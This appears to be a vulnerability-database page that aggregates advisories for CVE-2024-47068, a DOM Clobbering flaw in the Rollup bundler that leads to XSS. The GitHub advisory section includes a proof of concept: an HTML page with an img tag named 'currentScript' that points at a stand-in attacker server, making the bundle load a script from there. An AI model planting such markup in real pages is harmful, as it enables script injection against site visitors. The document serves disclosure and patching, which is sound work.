      "url": "https://github.com/rollup/rollup/commit/e2552c9e955e0a61f70f508200ee9f752f85a541"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rollup/rollup"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS",
  "upstream": [
    "GHSA-gcx4-mw62-g8wm",
    "CVE-2024-47068"
  ]
}

CERTFR-2025-AVI-0045

Vulnerability from certfr_avis - Published: 2025-01-17 - Updated: 2025-01-17

De multiples vulnérabilités ont été découvertes dans les produits IBM. Certaines d'entre elles permettent à un attaquant de provoquer une exécution de code arbitraire à distance, un déni de service à distance et une atteinte à la confidentialité des données.

Solutions

Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).

Impacted products

	Vendor	Product	Description
	IBM	QRadar Log Source Management App	QRadar Log Source Management App versions antérieures à 7.0.11
	IBM	Db2 Query Management Facility	DB2 Query Management Facility versions 13.1.1 et 13.1.2 sans la dernière version du JRE

References

Title

Publication Time

FKIE_CVE-2024-47068

Vulnerability from fkie_nvd - Published: 2024-09-23 16:15 - Updated: 2026-06-17 07:56

Severity

6.1 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
6.1 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162	Product
security-advisories@github.com	https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185	Product
security-advisories@github.com	https://github.com/rollup/rollup/commit/2ef77c00ec2635d42697cff2c0567ccc8db34fb4	Patch
security-advisories@github.com	https://github.com/rollup/rollup/commit/e2552c9e955e0a61f70f508200ee9f752f85a541	Patch
security-advisories@github.com	https://github.com/rollup/rollup/security/advisories/GHSA-gcx4-mw62-g8wm	Exploit, Vendor Advisory

Impacted products

Vendor	Product	Version
rollupjs	rollup	*
rollupjs	rollup	*
rollupjs	rollup	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "rollup",
          "vendor": "rollup",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.0.0, \u003c 3.29.5"
            },
            {
              "status": "affected",
              "version": "\u003e= 4.0.0, \u003c 4.22.4"
            },
            {
              "status": "affected",
              "version": "\u003c 2.79.2"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    },
    {
      "affectedData": [
        {
          "cpes": [
            "cpe:2.3:a:rollup:rollup:*:*:*:*:*:*:*:*"
          ],
          "defaultStatus": "unknown",
          "product": "rollup",
          "vendor": "rollup",
          "versions": [
            {
              "lessThan": "3.29.5",
              "status": "affected",
              "version": "0",
              "versionType": "custom"
            },
            {
              "lessThan": "4.22.4",
              "status": "affected",
              "version": "4.0.0",
              "versionType": "custom"
            }
          ]
        }
      ],
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:rollupjs:rollup:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "7812FF87-65ED-493E-B7A2-CE52ED9A264B",
              "versionEndExcluding": "2.79.2",
              "versionStartIncluding": "0.59.0",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:rollupjs:rollup:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "569E13A3-3FB9-4F70-952F-A62469C94088",
              "versionEndExcluding": "3.29.5",
              "versionStartIncluding": "3.0.0",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:rollupjs:rollup:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "3D64745D-7FA0-491E-99ED-346369564D59",
              "versionEndExcluding": "4.22.4",
              "versionStartIncluding": "4.0.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Rollup is a module bundler for JavaScript. Versions prior to 2.79.2, 3.29.5, and 4.22.4 are susceptible to a DOM Clobbering vulnerability when bundling scripts with properties from `import.meta` (e.g., `import.meta.url`) in `cjs`/`umd`/`iife` format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an `img` tag with an unsanitized `name` attribute) are present. Versions 2.79.2, 3.29.5, and 4.22.4  contain a patch for the vulnerability."
    },
    {
      "lang": "es",
      "value": "Rollup es un empaquetador de m\u00f3dulos para JavaScript. Las versiones anteriores a 3.29.5 y 4.22.4 son susceptibles a una vulnerabilidad de DOM Clobbering al agrupar scripts con propiedades de `import.meta` (por ejemplo, `import.meta.url`) en formato `cjs`/`umd`/`iife`. El gadget DOM Clobbering puede provocar cross-site scripting (XSS) en p\u00e1ginas web donde hay elementos HTML sin scripts controlados por atacantes (por ejemplo, una etiqueta `img` con un atributo `name` no saneado). Las versiones 3.29.5 y 4.22.4 contienen un parche para la vulnerabilidad."
    }
  ],
  "id": "CVE-2024-47068",
  "lastModified": "2026-06-17T07:56:29.220",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.1,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 2.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.1,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 2.7,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2024-47068",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2024-09-23T15:47:09.301929Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2024-09-23T16:15:06.947",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product"
      ],
      "url": "https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product"
      ],
      "url": "https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/rollup/rollup/commit/2ef77c00ec2635d42697cff2c0567ccc8db34fb4"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/rollup/rollup/commit/e2552c9e955e0a61f70f508200ee9f752f85a541"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/rollup/rollup/security/advisories/GHSA-gcx4-mw62-g8wm"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-GCX4-MW62-G8WM

Vulnerability from github – Published: 2024-09-23 22:11 – Updated: 2024-09-26 21:11

Summary

DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS

Details

Summary

It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details

Backgrounds

[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in `rollup`

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
    getResolveUrl(
        `'${escapeId(relativePath)}', ${
            umd ? `typeof document === 'undefined' ? location.href : ` : ''
        }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
    );

const getUrlFromDocument = (chunkId: string, umd = false) =>
    `${
        umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
        chunkId
    )}', document.baseURI).href)`;

Severity

6.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H

8.3 (High)


                  
                    CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "rollup"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.29.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "rollup"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.22.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "rollup"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.79.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-47068"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-23T22:11:02Z",
    "nvd_published_at": "2024-09-23T16:15:06Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nWe discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use `import.meta.url` or with plugins that emit and reference asset files from code  in `cjs`/`umd`/`iife` format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an `img` tag with an unsanitized `name` attribute) are present.\n\nIt\u0027s worth noting that we\u2019ve identifed similar issues in other popular bundlers like Webpack ([CVE-2024-43788](https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986)), which might serve as a good reference.\n\n### Details\n\n#### Backgrounds\n\nDOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:\n\n[1] https://scnps.co/papers/sp23_domclob.pdf\n[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/\n\n#### Gadget found in `rollup`\n\nWe have identified a DOM Clobbering vulnerability in `rollup` bundled scripts, particularly when the scripts uses `import.meta` and set output in format of  `cjs`/`umd`/`iife`. In such cases, `rollup` replaces meta property with the URL retrieved from `document.currentScript`.\n\nhttps://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162\n\nhttps://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185\n\nHowever, this implementation is vulnerable to a DOM Clobbering attack. The `document.currentScript` lookup can be shadowed by an attacker via the browser\u0027s named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the `src` attribute of the attacker-controlled element (e.g., an `img` tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.\n\n### PoC\n\nConsidering a website that contains the following `main.js` script, the devloper decides to use the `rollup` to bundle up the program: `rollup main.js --format cjs --file bundle.js`.\n\n```\nvar s = document.createElement(\u0027script\u0027)\ns.src = import.meta.url + \u0027extra.js\u0027\ndocument.head.append(s)\n```\n\nThe output `bundle.js` is shown in the following code snippet.\n\n```\n\u0027use strict\u0027;\n\nvar _documentCurrentScript = typeof document !== \u0027undefined\u0027 ? document.currentScript : null;\nvar s = document.createElement(\u0027script\u0027);\ns.src = (typeof document === \u0027undefined\u0027 ? require(\u0027u\u0027 + \u0027rl\u0027).pathToFileURL(__filename).href : (_documentCurrentScript \u0026\u0026 False \u0026\u0026 _documentCurrentScript.src || new URL(\u0027bundle.js\u0027, document.baseURI).href)) + \u0027extra.js\u0027;\ndocument.head.append(s);\n```\n\nAdding the `rollup` bundled script, `bundle.js`, as part of the web page source code, the page could load the `extra.js` file from the attacker\u0027s domain, `attacker.controlled.server` due to the introduced gadget during bundling. The attacker only needs to insert an `img` tag with the name attribute set to `currentScript`. This can be done through a website\u0027s feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.\n\n```\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n  \u003ctitle\u003erollup Example\u003c/title\u003e\n  \u003c!-- Attacker-controlled Script-less HTML Element starts--!\u003e\n  \u003cimg name=\"currentScript\" src=\"https://attacker.controlled.server/\"\u003e\u003c/img\u003e\n  \u003c!-- Attacker-controlled Script-less HTML Element ends--!\u003e\n\u003c/head\u003e\n\u003cscript type=\"module\" crossorigin src=\"bundle.js\"\u003e\u003c/script\u003e\n\u003cbody\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Impact\n\nThis vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of `cjs`, `iife`, or `umd` and use `import.meta`) and allow users to inject certain scriptless HTML tags without properly sanitizing the `name` or `id` attributes.\n\n### Patch\n\nPatching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.\n\n```\nconst getRelativeUrlFromDocument = (relativePath: string, umd = false) =\u003e\n\tgetResolveUrl(\n\t\t`\u0027${escapeId(relativePath)}\u0027, ${\n\t\t\tumd ? `typeof document === \u0027undefined\u0027 ? location.href : ` : \u0027\u0027\n\t\t}document.currentScript \u0026\u0026 document.currentScript.tagName.toUpperCase() === \u0027SCRIPT\u0027 \u0026\u0026 document.currentScript.src || document.baseURI`\n\t);\n```\n\n```\nconst getUrlFromDocument = (chunkId: string, umd = false) =\u003e\n\t`${\n\t\tumd ? `typeof document === \u0027undefined\u0027 ? location.href : ` : \u0027\u0027\n\t}(${DOCUMENT_CURRENT_SCRIPT} \u0026\u0026 ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === \u0027SCRIPT\u0027 \u0026\u0026${DOCUMENT_CURRENT_SCRIPT}.src || new URL(\u0027${escapeId(\n\t\tchunkId\n\t)}\u0027, document.baseURI).href)`;\n```\n",
  "id": "GHSA-gcx4-mw62-g8wm",
  "modified": "2024-09-26T21:11:53Z",
  "published": "2024-09-23T22:11:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rollup/rollup/security/advisories/GHSA-gcx4-mw62-g8wm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47068"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rollup/rollup/commit/2ef77c00ec2635d42697cff2c0567ccc8db34fb4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rollup/rollup/commit/e2552c9e955e0a61f70f508200ee9f752f85a541"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rollup/rollup"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS"
}

OPENSUSE-SU-2025:14663-1

Vulnerability from csaf_opensuse - Published: 2025-01-17 00:00 - Updated: 2026-09-20 21:25

Summary

velociraptor-0.7.0.4.git142.862ef23-1.1 on GA media

Severity

Moderate

Scope

27 vulnerabilities in this advisory, including CVE-2024-47068.

CVE-2024-47068

6.1 (Medium)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Recommended: 4 products

Open the full advisory

RHSA-2024:10917

Vulnerability from csaf_redhat - Published: 2024-12-10 11:04 - Updated: 2026-10-16 17:37

Summary

Red Hat Security Advisory: Red Hat OpenShift distributed tracing platform (Jaeger) 3.4 release

Severity

Important

Scope

9 vulnerabilities in this advisory, including CVE-2024-47068.

CVE-2024-47068

A flaw was found in the Rollup module bundler for JavaScript. Certain versions are susceptible to a DOM Clobbering vulnerability when bundling scripts with properties from `import.meta` such as `import.meta.url` in the `cjs`/`umd`/`iife` format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements are present, for example, an `img` tag with an unsanitized `name` attribute.

6.4 (Medium)


                
                  CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H

Fixed: 4 products Known not affected: 29 products

https://access.redhat.com/errata/RHSA-2024:10917

Open the full advisory

RHSA-2024:10962

Vulnerability from csaf_redhat - Published: 2024-12-11 16:47 - Updated: 2026-10-16 17:37

Summary

Red Hat Security Advisory: Red Hat OpenShift distributed tracing platform (Jaeger) 3.4 release

Severity

Important

Scope

9 vulnerabilities in this advisory, including CVE-2024-47068.

CVE-2024-47068

6.4 (Medium)


                
                  CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H

Fixed: 4 products Known not affected: 29 products

https://access.redhat.com/errata/RHSA-2024:10962

Open the full advisory

RHSA-2025:3374

Vulnerability from csaf_redhat - Published: 2025-03-27 20:51 - Updated: 2026-10-20 04:10

Summary

Red Hat Security Advisory: Red Hat Developer Hub 1.5.1 release.

Severity

Important

Scope

11 vulnerabilities in this advisory, including CVE-2024-47068.

CVE-2024-47068

6.4 (Medium)


                
                  CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H

Fixed: 1 product Known not affected: 2 products

https://access.redhat.com/errata/RHSA-2025:3374

Open the full advisory

UBUNTU-CVE-2024-47068 (CVE-2024-47068)

Vulnerability from osv_ubuntu – Published: 2024-09-23 16:15 – Updated: 2026-10-17 09:27 – Source website

Details

Rollup is a module bundler for JavaScript. Versions prior to 2.79.2, 3.29.5, and 4.22.4 are susceptible to a DOM Clobbering vulnerability when bundling scripts with properties from import.meta (e.g., import.meta.url) in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present. Versions 2.79.2, 3.29.5, and 4.22.4 contain a patch for the vulnerability.

Severity

6.1 (Medium)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

6.1 (Medium)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

N/A (UNKNOWN)


                    
                      medium

References

URL

Type

	https://ubuntu.com/security/CVE-2024-47068	REPORT
	https://www.cve.org/CVERecord?id=CVE-2024-47068	REPORT
	https://github.com/rollup/rollup/security/advisor…	REPORT
	https://github.com/rollup/rollup/commit/2ef77c00e…	REPORT
	https://github.com/rollup/rollup/commit/e2552c9e9…	REPORT
	https://github.com/rollup/rollup/commit/2ef77c00e…	REPORT
	https://github.com/rollup/rollup/commit/e2552c9e9…	REPORT
	https://github.com/rollup/rollup/blob/b86ffd776cf…	REPORT
	https://github.com/rollup/rollup/blob/b86ffd776cf…	REPORT

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "rollup",
            "binary_version": "1.12.0-2build3"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:20.04:LTS",
        "name": "node-rollup",
        "purl": "pkg:deb/ubuntu/node-rollup@1.12.0-2build3?arch=source\u0026distro=focal"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.50.0-6build3",
        "0.68.2-2",
        "1.12.0-2build2",
        "1.12.0-2build3"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "rollup",
            "binary_version": "2.61.1-5"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:22.04:LTS",
        "name": "node-rollup",
        "purl": "pkg:deb/ubuntu/node-rollup@2.61.1-5?arch=source\u0026distro=jammy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.38.4-1",
        "2.42.1-2",
        "2.61.1-5"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "rollup",
            "binary_version": "3.29.4-3"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:24.04:LTS",
        "name": "node-rollup",
        "purl": "pkg:deb/ubuntu/node-rollup@3.29.4-3?arch=source\u0026distro=noble"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.28.0-2",
        "3.29.4-2",
        "3.29.4-3"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "rollup",
            "binary_version": "3.29.5-1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:25.10",
        "name": "node-rollup",
        "purl": "pkg:deb/ubuntu/node-rollup@3.29.5-1?arch=source\u0026distro=questing"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.29.5-1"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "rollup",
            "binary_version": "3.30.0-5build5"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:26.10",
        "name": "node-rollup",
        "purl": "pkg:deb/ubuntu/node-rollup@3.30.0-5build5?arch=source\u0026distro=stonking"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.30.0-1",
        "3.30.0-5build5"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "rollup",
            "binary_version": "3.30.0-1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:26.04:LTS",
        "name": "node-rollup",
        "purl": "pkg:deb/ubuntu/node-rollup@3.30.0-1?arch=source\u0026distro=resolute"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.29.5-1",
        "3.30.0-1"
      ]
    }
  ],
  "aliases": [],
  "details": "Rollup is a module bundler for JavaScript. Versions prior to 2.79.2, 3.29.5, and 4.22.4 are susceptible to a DOM Clobbering vulnerability when bundling scripts with properties from `import.meta` (e.g., `import.meta.url`) in `cjs`/`umd`/`iife` format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an `img` tag with an unsanitized `name` attribute) are present. Versions 2.79.2, 3.29.5, and 4.22.4  contain a patch for the vulnerability.",
  "id": "UBUNTU-CVE-2024-47068",
  "modified": "2026-10-17T09:27:12Z",
  "published": "2024-09-23T16:15:00Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://ubuntu.com/security/CVE-2024-47068"
    },
    {
      "type": "REPORT",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-47068"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/rollup/rollup/security/advisories/GHSA-gcx4-mw62-g8wm"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/rollup/rollup/commit/2ef77c00ec2635d42697cff2c0567ccc8db34fb4"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/rollup/rollup/commit/e2552c9e955e0a61f70f508200ee9f752f85a541"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/rollup/rollup/commit/2ef77c00ec2635d42697cff2c0567ccc8db34fb4"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/rollup/rollup/commit/e2552c9e955e0a61f70f508200ee9f752f85a541"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185"
    }
  ],
  "related": [],
  "schema_version": "1.7.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "medium",
      "type": "Ubuntu"
    }
  ],
  "upstream": [
    "CVE-2024-47068"
  ]
}

WID-SEC-W-2025-0043

Vulnerability from csaf_certbund - Published: 2025-01-12 23:00 - Updated: 2025-03-17 23:00

Summary

IBM QRadar SIEM (Log Source Management App): Mehrere Schwachstellen

Severity

Hoch

Scope

23 vulnerabilities in this advisory, including CVE-2024-47068.

CVE-2024-47068

Known affected: 7 products

Open the full advisory

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

